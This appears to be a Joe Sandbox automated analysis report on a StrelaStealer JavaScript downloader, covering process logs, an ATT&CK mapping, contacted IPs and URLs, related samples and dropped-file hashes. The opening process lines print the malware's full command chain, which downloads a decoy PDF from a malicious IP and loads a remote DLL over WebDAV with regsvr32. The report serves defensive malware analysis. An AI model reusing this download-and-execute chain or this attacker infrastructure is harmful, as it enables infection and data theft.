Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\4701897614160.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior

Mitre Att&ck Matrix

Reconnaissance	Resource Development	Initial Access	Execution	Persistence	Privilege Escalation	Defense Evasion	Credential Access	Discovery	Lateral Movement	Collection	Command and Control	Exfiltration	Impact
Gather Victim Identity Information	32 Scripting	Valid Accounts	1 Command and Scripting Interpreter	32 Scripting	11 Process Injection	11 Masquerading	OS Credential Dumping	1 Network Share Discovery	Remote Services	Data from Local System	1 Data Obfuscation	Exfiltration Over Other Network Medium	Abuse Accessibility Features
Credentials	Domains	Default Accounts	1 Native API	1 DLL Side-Loading	1 DLL Side-Loading	131 Virtualization/Sandbox Evasion	LSASS Memory	11 Security Software Discovery	Remote Desktop Protocol	Data from Removable Media	11 Non-Standard Port	Exfiltration Over Bluetooth	Network Denial of Service
Email Addresses	DNS Server	Domain Accounts	1 Exploitation for Client Execution	Logon Script (Windows)	Logon Script (Windows)	11 Process Injection	Security Account Manager	1 Process Discovery	SMB/Windows Admin Shares	Data from Network Shared Drive	1 Ingress Tool Transfer	Automated Exfiltration	Data Encrypted for Impact
Employee Names	Virtual Private Server	Local Accounts	2 PowerShell	Login Hook	Login Hook	1 Obfuscated Files or Information	NTDS	131 Virtualization/Sandbox Evasion	Distributed Component Object Model	Input Capture	2 Non-Application Layer Protocol	Traffic Duplication	Data Destruction
Gather Victim Network Information	Server	Cloud Accounts	Launchd	Network Logon Script	Network Logon Script	1 DLL Side-Loading	LSA Secrets	1 Application Window Discovery	SSH	Keylogging	12 Application Layer Protocol	Scheduled Transfer	Data Encrypted for Impact
Domain Properties	Botnet	Replication Through Removable Media	Scheduled Task	RC Scripts	RC Scripts	Steganography	Cached Domain Credentials	1 File and Directory Discovery	VNC	GUI Input Capture	Multiband Communication	Data Transfer Size Limits	Service Stop
DNS	Web Services	External Remote Services	Systemd Timers	Startup Items	Startup Items	Compile After Delivery	DCSync	122 System Information Discovery	Windows Remote Management	Web Portal Capture	Commonly Used Port	Exfiltration Over C2 Channel	Inhibit System Recovery

Behavior Graph

Hide Legend

Legend:

Process
Signature
Created File
DNS/IP Info
Is Dropped
Is Windows Process
Number of created Registry Values
Number of created Files
Visual Basic
Delphi
Java
.Net C# or VB.NET
C, C++ or other language
Is malicious
Internet

Source	Detection	Scanner	Label	Link
2300831576502014589.js	8%	ReversingLabs	Script-JS.Trojan.StrelaStealer
2300831576502014589.js	8%	Virustotal		Browse

Source	Detection	Scanner	Label
http://193.143.1.205:8888/3	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/tm9D	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/LUg	0%	Avira URL Cloud	safe
http://193.143.1.205:8888/;	0%	Avira URL Cloud	safe

Domains and IPs

Contacted Domains

Name	IP	Active	Malicious	Antivirus Detection	Reputation
x1.i.lencr.org	unknown	unknown	false		high

Contacted URLs

Name	Malicious	Antivirus Detection	Reputation
http://193.143.1.205/invoice.php	false		high

URLs from Memory and Binaries

Name	Source	Malicious	Antivirus Detection	Reputation
https://g.live.com/odclientsettings/ProdV21C:	svchost.exe, 00000009.00000003.2233888867.000002F9C8BA0000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr	false		high
http://193.143.1.205:8888/LUg	net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://crl.ver)	svchost.exe, 00000009.00000002.3460046803.000002F9C8E00000.00000004.00000020.00020000.00000000.sdmp	false		high
http://x1.i.lencr.org/	2D85F72862B55C4EADD9E66E06947F3D0.8.dr	false		high
http://193.143.1.205:8888/;	net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
https://g.live.com/odclientsettings/Prod1C:	qmgr.db.9.dr	false		high
http://193.143.1.205:8888/	net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2230576367.000002A849CBA000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	false		high
http://193.143.1.205:8888/tm9D	net.exe, 00000007.00000002.2234057449.000002A849C68000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown
http://193.143.1.205:8888/3	net.exe, 00000007.00000002.2234134507.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000003.2231083500.000002A849C9D000.00000004.00000020.00020000.00000000.sdmp	true	Avira URL Cloud: safe	unknown

World Map of Contacted IPs

No. of IPs < 25%
25% < No. of IPs < 50%
50% < No. of IPs < 75%
75% < No. of IPs

Public IPs

IP	Domain	Country	Flag	ASN	ASN Name	Malicious
193.143.1.205	unknown	unknown		57271	BITWEB-ASRU	true

Private

IP
127.0.0.1

General Information

Joe Sandbox version:	42.0.0 Malachite
Analysis ID:	1588672
Start date and time:	2025-01-11 03:58:28 +01:00
Joe Sandbox product:	CloudBasic
Overall analysis duration:	0h 5m 5s
Hypervisor based Inspection enabled:	false
Report type:	full
Cookbook file name:	default.jbs
Analysis system description:	Windows 10 x64 22H2 with Office Professional Plus 2019, Chrome 117, Firefox 118, Adobe Reader DC 23, Java 8 Update 381, 7zip 23.01
Number of analysed new started processes analysed:	17
Number of new started drivers analysed:	0
Number of existing processes analysed:	0
Number of existing drivers analysed:	0
Number of injected processes analysed:	0
Technologies:	HCA enabled EGA enabled GSI enabled (Javascript) AMSI enabled
Analysis Mode:	default
Analysis stop reason:	Timeout
Sample name:	2300831576502014589.js
Detection:	MAL
Classification:	mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2
EGA Information:	Failed
HCA Information:	Successful, ratio: 100% Number of executed functions: 0 Number of non-executed functions: 0
Cookbook Comments:	Found application associated with file extension: .js

Warnings

Exclude process from analysis (whitelisted): dllhost.exe, WMIADAP.exe, SIHClient.exe
Excluded IPs from analysis (whitelisted): 184.28.88.176, 172.64.41.3, 162.159.61.3, 34.237.241.83, 54.224.241.105, 50.16.47.176, 18.213.11.84, 184.28.90.27, 23.209.209.135, 2.16.168.105, 2.16.168.107, 2.22.242.123, 2.22.242.11, 13.107.246.45, 52.6.155.20, 4.245.163.56, 96.17.64.171
Excluded domains from analysis (whitelisted): e4578.dscg.akamaiedge.net, chrome.cloudflare-dns.com, client.wns.windows.com, fs.microsoft.com, e8652.dscx.akamaiedge.net, otelrules.azureedge.net, slscr.update.microsoft.com, acroipm2.adobe.com.edgesuite.net, ctldl.windowsupdate.com, p13n.adobe.io, fs-wildcard.microsoft.com.edgekey.net, fs-wildcard.microsoft.com.edgekey.net.globalredir.akadns.net, acroipm2.adobe.com, fe3cr.delivery.mp.microsoft.com, armmf.adobe.com, ssl-delivery.adobe.com.edgekey.net, e16604.g.akamaiedge.net, a122.dscd.akamai.net, geo2.adobe.com, prod.fs.microsoft.com.akadns.net, crl.root-x1.letsencrypt.org.edgekey.net
Not all processes where analyzed, report is missing behavior information
Report size exceeded maximum capacity and may have missing behavior information.
Report size getting too big, too many NtOpenKeyEx calls found.
Report size getting too big, too many NtProtectVirtualMemory calls found.
Report size getting too big, too many NtQueryValueKey calls found.
Some HTTP raw data packets have been limited to 10 per session. Please view the PCAPs for the complete data.

Simulations

Behavior and APIs

Time	Type	Description
21:59:27	API Interceptor	22x Sleep call for process: powershell.exe modified
21:59:30	API Interceptor	1x Sleep call for process: net.exe modified
21:59:31	API Interceptor	2x Sleep call for process: svchost.exe modified
21:59:39	API Interceptor	1x Sleep call for process: AcroCEF.exe modified

Joe Sandbox View / Context

IPs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
193.143.1.205	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	15943270342346830855.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	10076292573176921778.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	1637664207127019.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/
	221165125265292179.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205:8888/

Domains

⊘No context

ASNs

Match	Associated Sample Name / URL	SHA 256	Detection	Threat Name	Link	Context
BITWEB-ASRU	72382724245064961.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	5433178601194710641.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	200475024256003612.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2322331617238881677.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	31068282522384212209.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	652114013130199968.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	22951172482589918451.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	12524190021110725310.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	3462260851125011899.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205
	2151829461519612017.js	Get hash	malicious	Strela Downloader	Browse	193.143.1.205

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7263248786954414
Encrypted:	false
SSDEEP:	1536:9J8s6YR3pnhWKInznxTgScwXhCeEcrKYSZNmTHk4UQJ32aqGT46yAwFM5hA7yH03:9JZj5MiKNnNhoxuG
MD5:	BA5B13075851DA381986468577A409C1
SHA1:	4250AC166780A0FD2F9DAB4640B6BCE4153C3783
SHA-256:	B0DE3B23E33EB6F6628C300C1885DD1F1D5FCDA73402044FD4AC5C5227BE97A3
SHA-512:	5E9D2B364E0C237CC4A75E6E91938E768A28551837D22F6B8B39BFDDF371D1CF9CF604C122C833DDAABDD49043E12A8BDA4D4C70B88E52E095BFA537512A1AA3
Malicious:	false
Preview:	...........@..@9....{...;...{..........<...D./..;...{..................C:\ProgramData\Microsoft\Network\Downloader\.........................................................................................................................................................................................................................C:\ProgramData\Microsoft\Network\Downloader\..........................................................................................................................................................................................................................0u..................@...@....................................Fajaj.#.........`h.................h.......6.......X\...;...{..................C.:.\.P.r.o.g.r.a.m.D.a.t.a.\.M.i.c.r.o.s.o.f.t.\.N.e.t.w.o.r.k.\.D.o.w.n.l.o.a.d.e.r.\.q.m.g.r...d.b....................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	Extensible storage user DataBase, version 0x620, checksum 0xfb9b0c61, page size 16384, DirtyShutdown, Windows version 10.0
Category:	dropped
Size (bytes):	1310720
Entropy (8bit):	0.7555841943761599
Encrypted:	false
SSDEEP:	1536:9SB2ESB2SSjlK/svFH03N9Jdt8lYkr3g16xj2UPkLk+kLWyrufTRryrUYc//kbxW:9azaSvGJzYj2UlmOlOL
MD5:	04E8157F598D8E60936ADC37D80CAF3A
SHA1:	65CC5278FE6D22D44E869FE3F3ADA2E0726D8D75
SHA-256:	86444F394095722CD0A49BE27B2675CDD594874DDA18C438A8AB9D732B905C73
SHA-512:	A70CB373E61CF39D126A78EA498BFE7ED51302051D58A2C90FC4A86AF3B00C4D8B47D89B851DFB65BBFE9317E1E8A90DECE1BBBACF8F7664B54C7A639E09A81E
Malicious:	false
Preview:	...a... .......7.......X\...;...{......................0.e......!...{?..;...}..h.g.........................D./..;...{..........................................................................................................eJ......n....@...................................................................................................... .......9....{...............................................................................................................................................................................................2...{...................................6...;...}-..................R...;...}...........................#......h.g.....................................................................................................................................................................................................................................................................................................................................................

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

Download File

Process:	C:\Windows\System32\svchost.exe
File Type:	data
Category:	dropped
Size (bytes):	16384
Entropy (8bit):	0.08000919504278572
Encrypted:	false
SSDEEP:	3:4Nm//lKYeNk7euNaAPaU1lynMa1lolluxmO+l/SNxOf:Am1KzNluNDPaUKnM3gmOH
MD5:	0277245616102337C7867B597F2753A0
SHA1:	8F544AB967697335F137C2A24BAF5AB88458DFE6
SHA-256:	E837C9DECF54157C92D59CB8E1CB2E1679F33CC949C6663B5A9ACCC7720B26D4
SHA-512:	ED8361C598469F359815EB3F9FC35E7E84ADD9A4C0883922BD33DE4E1087BB2C52B83DE7185CF2BC114122E529C22971653B59F5E268F1DC94347840CD0B2E96
Malicious:	false
Preview:	u........................................;...{...;...}...!...{?..........!...{?..!...{?..g...!...{?..................R...;...}..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.171625346565965
Encrypted:	false
SSDEEP:	6:iO4q5f434q2PN72nKuAl9OmbnIFUtSq5yZmwsq55LDkwON72nKuAl9OmbjLJ:7jf64vVaHAahFUt9y/nd5OaHAaSJ
MD5:	30A3A824434964C22530823EC607941E
SHA1:	2F6598F4CCDAF75AA5687A45751E121DBF6F8E7A
SHA-256:	C015ED5608B6C023024AE32C5D35542B023A1FA86BCCB3A773215575032E7F88
SHA-512:	BEF4AE6E269304161E718894D3A6C99C3782D4090D1ACD5BCC48FDED28874AABAACBA76A74F7C3506A49083B0384EABDD76E2B4CF7F607AE9C5B4720892FBF91
Malicious:	false
Preview:	2025/01/10-21:59:31.026 914 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:31.028 914 Recovering log #3.2025/01/10-21:59:31.029 914 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.171625346565965
Encrypted:	false
SSDEEP:	6:iO4q5f434q2PN72nKuAl9OmbnIFUtSq5yZmwsq55LDkwON72nKuAl9OmbjLJ:7jf64vVaHAahFUt9y/nd5OaHAaSJ
MD5:	30A3A824434964C22530823EC607941E
SHA1:	2F6598F4CCDAF75AA5687A45751E121DBF6F8E7A
SHA-256:	C015ED5608B6C023024AE32C5D35542B023A1FA86BCCB3A773215575032E7F88
SHA-512:	BEF4AE6E269304161E718894D3A6C99C3782D4090D1ACD5BCC48FDED28874AABAACBA76A74F7C3506A49083B0384EABDD76E2B4CF7F607AE9C5B4720892FBF91
Malicious:	false
Preview:	2025/01/10-21:59:31.026 914 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/MANIFEST-000001.2025/01/10-21:59:31.028 914 Recovering log #3.2025/01/10-21:59:31.029 914 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.117404003277557
Encrypted:	false
SSDEEP:	6:iO4q5Y34q2PN72nKuAl9Ombzo2jMGIFUtSq59NJZmwsq59NDkwON72nKuAl9OmbX:7j5vVaHAa8uFUt99NJ/n9ND5OaHAa8RJ
MD5:	C94297781FF17E7561D4DB3618328553
SHA1:	794490D7E724C2568A8A435C19716EC5B4FF8717
SHA-256:	E359B574BE7E45B6418AF42B87CBBE3259BD707D729A832633A6E24A04B1D212
SHA-512:	030F2A4C73CE9767843A309E59F57C55462269FEA13B6E7D4AF9AD2E8BCDDD3F3174050E131BEFAB19D6FF9C62C0F5A39745B3519EFE015B1B0F54A577DD0480
Malicious:	false
Preview:	2025/01/10-21:59:31.082 ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:31.087 ec0 Recovering log #3.2025/01/10-21:59:31.087 ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	339
Entropy (8bit):	5.117404003277557
Encrypted:	false
SSDEEP:	6:iO4q5Y34q2PN72nKuAl9Ombzo2jMGIFUtSq59NJZmwsq59NDkwON72nKuAl9OmbX:7j5vVaHAa8uFUt99NJ/n9ND5OaHAa8RJ
MD5:	C94297781FF17E7561D4DB3618328553
SHA1:	794490D7E724C2568A8A435C19716EC5B4FF8717
SHA-256:	E359B574BE7E45B6418AF42B87CBBE3259BD707D729A832633A6E24A04B1D212
SHA-512:	030F2A4C73CE9767843A309E59F57C55462269FEA13B6E7D4AF9AD2E8BCDDD3F3174050E131BEFAB19D6FF9C62C0F5A39745B3519EFE015B1B0F54A577DD0480
Malicious:	false
Preview:	2025/01/10-21:59:31.082 ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/MANIFEST-000001.2025/01/10-21:59:31.087 ec0 Recovering log #3.2025/01/10-21:59:31.087 ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\89167799-84ce-4cd7-a54f-3755d7757040.tmp

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	modified
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvhsBdOg2Hycaq3QYiubcP7E4T3y:Y2sRdsYydMHd3QYhbA7nby
MD5:	32F1F5F2B168445FE72EBFA9F9F92384
SHA1:	74198837D04BC7B4FB8921128FEC97C7DAB0D15E
SHA-256:	8FAE24C32003ADA316B81C7208204CE0E0C4F11004F6987C91B0E0B5C52117EE
SHA-512:	34480BE7A7D0CF283ABE054EDAE60B0D393190124EE128AF142B77C3A3706E63A49A8A9976DFD5E6F1C0EB071E54F9FF16866E1241EB8C47014840D9C0D24136
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124382772566","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	475
Entropy (8bit):	4.958684469570158
Encrypted:	false
SSDEEP:	12:YH/um3RA8sqvhsBdOg2Hycaq3QYiubcP7E4T3y:Y2sRdsYydMHd3QYhbA7nby
MD5:	32F1F5F2B168445FE72EBFA9F9F92384
SHA1:	74198837D04BC7B4FB8921128FEC97C7DAB0D15E
SHA-256:	8FAE24C32003ADA316B81C7208204CE0E0C4F11004F6987C91B0E0B5C52117EE
SHA-512:	34480BE7A7D0CF283ABE054EDAE60B0D393190124EE128AF142B77C3A3706E63A49A8A9976DFD5E6F1C0EB071E54F9FF16866E1241EB8C47014840D9C0D24136
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"isolation":[],"server":"https://armmf.adobe.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13381124382772566","port":443,"protocol_str":"quic"}],"isolation":[],"network_stats":{"srtt":127613},"server":"https://chrome.cloudflare-dns.com","supports_spdy":true}],"supports_quic":{"address":"192.168.2.6","used_quic":true},"version":5},"network_qualities":{"CAESABiAgICA+P////8B":"4G"}}}

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	5449
Entropy (8bit):	5.251573218213036
Encrypted:	false
SSDEEP:	96:av+Nkkl+2GAouz3z3xfNLUS3vHp5OuDzUrMzh28qXAXFP74LRXOtW7ANwE7bOdP:av+Nkkl+2G1uz3zhfZUyPp5OuDzUwzhi
MD5:	E093C0446BA12B934CA39100B48019AA
SHA1:	59C67B5CD9CBF2CD5D34DCC47E9776661F206075
SHA-256:	4FDB1249D8E6DC14616610352A857E44EEFF299F87C9177FF416E9307FC7C325
SHA-512:	C98EB428080D8234DD8EA3EBFB7EA91E00BBB55D72EA66AB7ADA8658650D9E8E0A3DC0C9574387D5042835EB56C47032760D4FE5B420A047A1EDA8529E69A714
Malicious:	false
Preview:	*...#................version.1..namespace-.X.Bo................next-map-id.1.Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/.0.>j.r................next-map-id.2.Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/.1.J.4r................next-map-id.3.Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/.2..J.o................next-map-id.4.Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.3..M.^...............Pnamespace-c291b69d_46f8_4b09_b54e_d05df8a1271d-https://rna-resource.acrobat.com/..d.^...............Pnamespace-d7426d52_3038_4cd9_b9cc_897232425509-https://rna-resource.acrobat.com/.u..a...............Snamespace-63b958a8_6f71_4fde_913c_6518794b9fd1-https://rna-v2-resource.acrobat.com/..`aa...............Snamespace-37e4c694_2a8d_4b31_9eb8_e65c5f9e16d5-https://rna-v2-resource.acrobat.com/`v.Yo................next-map-id.5.Pnamespace-30587558_ed88_4bd8_adc0_

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.100158100253121
Encrypted:	false
SSDEEP:	6:iO4q5ncXAq2PN72nKuAl9OmbzNMxIFUtSq5ncQNJZmwsq5ncQNDkwON72nKuAl9c:7jVvVaHAa8jFUt9PJ/nPD5OaHAa84J
MD5:	51907EB1ADD1D1F0ABC9F4586B734A99
SHA1:	8DCEA41EE56A5A99E09264388868D7568B8B91F3
SHA-256:	4253F3C81D8EBC45A35416234E38DC9A7383DA21D3F5C71AEAB2606EEC626C93
SHA-512:	407E4EB01B9D3FC101B5A5757A5F9C8CA5D2D84EE850B521822F94C51E01C10A7AA4F3F61033C8A5F78E0A72E906689C1159069B5871FDF9AC8E774F8946CEF3
Malicious:	false
Preview:	2025/01/10-21:59:31.194 ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:31.195 ec0 Recovering log #3.2025/01/10-21:59:31.195 ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	327
Entropy (8bit):	5.100158100253121
Encrypted:	false
SSDEEP:	6:iO4q5ncXAq2PN72nKuAl9OmbzNMxIFUtSq5ncQNJZmwsq5ncQNDkwON72nKuAl9c:7jVvVaHAa8jFUt9PJ/nPD5OaHAa84J
MD5:	51907EB1ADD1D1F0ABC9F4586B734A99
SHA1:	8DCEA41EE56A5A99E09264388868D7568B8B91F3
SHA-256:	4253F3C81D8EBC45A35416234E38DC9A7383DA21D3F5C71AEAB2606EEC626C93
SHA-512:	407E4EB01B9D3FC101B5A5757A5F9C8CA5D2D84EE850B521822F94C51E01C10A7AA4F3F61033C8A5F78E0A72E906689C1159069B5871FDF9AC8E774F8946CEF3
Malicious:	false
Preview:	2025/01/10-21:59:31.194 ec0 Reusing MANIFEST C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/MANIFEST-000001.2025/01/10-21:59:31.195 ec0 Recovering log #3.2025/01/10-21:59:31.195 ec0 Reusing old log C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage/000003.log .

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite 3.x database, last written using SQLite version 3040000, file counter 11, database pages 21, cookie 0x5, schema 4, UTF-8, version-valid-for 11
Category:	dropped
Size (bytes):	86016
Entropy (8bit):	4.4447598028798865
Encrypted:	false
SSDEEP:	384:ye6ci5tqiBA7aDQPsknQ0UNCFOa14ocOUw6zyFzqFkdZ+EUTTcdUZ5yDQhJL:mFs3OazzU89UTTgUL
MD5:	AAD04E162D08880CB252EBA00E886B82
SHA1:	F21A31E5B71E4AAF7C007244F2CAD6C5EAED2239
SHA-256:	C38500CEAF5D39EA29A64F1778AD3EC8E565E6E92A10AB335A99AD43451D8041
SHA-512:	8677B3442797C02AB8640BE270F4DD300BEA7FFF52E3617E0544418CC3033F7A8846A5A07E65411DA4DDC12DB7E85D432DC6BF341B7E7EF0E5D3E61228AAC8BF
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................c.......1........T...U.1.D............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Adobe\Acrobat\DC\ReaderMessages-journal

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	SQLite Rollback Journal
Category:	dropped
Size (bytes):	8720
Entropy (8bit):	3.769286588891562
Encrypted:	false
SSDEEP:	48:7MNJioyVuioyroy1C7oy16oy1oKOioy1noy1AYoy1Wioy1oioykioyBoy1noy1OT:7WJuuxfXjBi8b9IVXEBodRBkR
MD5:	2D8F05A1B074DF2A73E8425805C34999
SHA1:	C5656E27CA7B950ACBB8DE233534E4C309CF9F55
SHA-256:	C2FDB8CDB805C2653DA532F2529E654D0F9E16940DA453624EB72DF4FE372F1E
SHA-512:	1644BAEBB4B7279FCCD84B53283C84E6487A500B7A257138B8E8A64471EA5A06969BB99F14AAD41DD66AC39AFDD1C4BBF11A65D5E7AC835E9894AB0AE79A7BB6
Malicious:	false
Preview:	.... .c.......@................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................T...[...b.r.l...t...}....................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Certificate, Version=3
Category:	dropped
Size (bytes):	1391
Entropy (8bit):	7.705940075877404
Encrypted:	false
SSDEEP:	24:ooVdTH2NMU+I3E0Ulcrgdaf3sWrATrnkC4EmCUkmGMkfQo1fSZotWzD1:ooVguI3Kcx8WIzNeCUkJMmSuMX1
MD5:	0CD2F9E0DA1773E9ED864DA5E370E74E
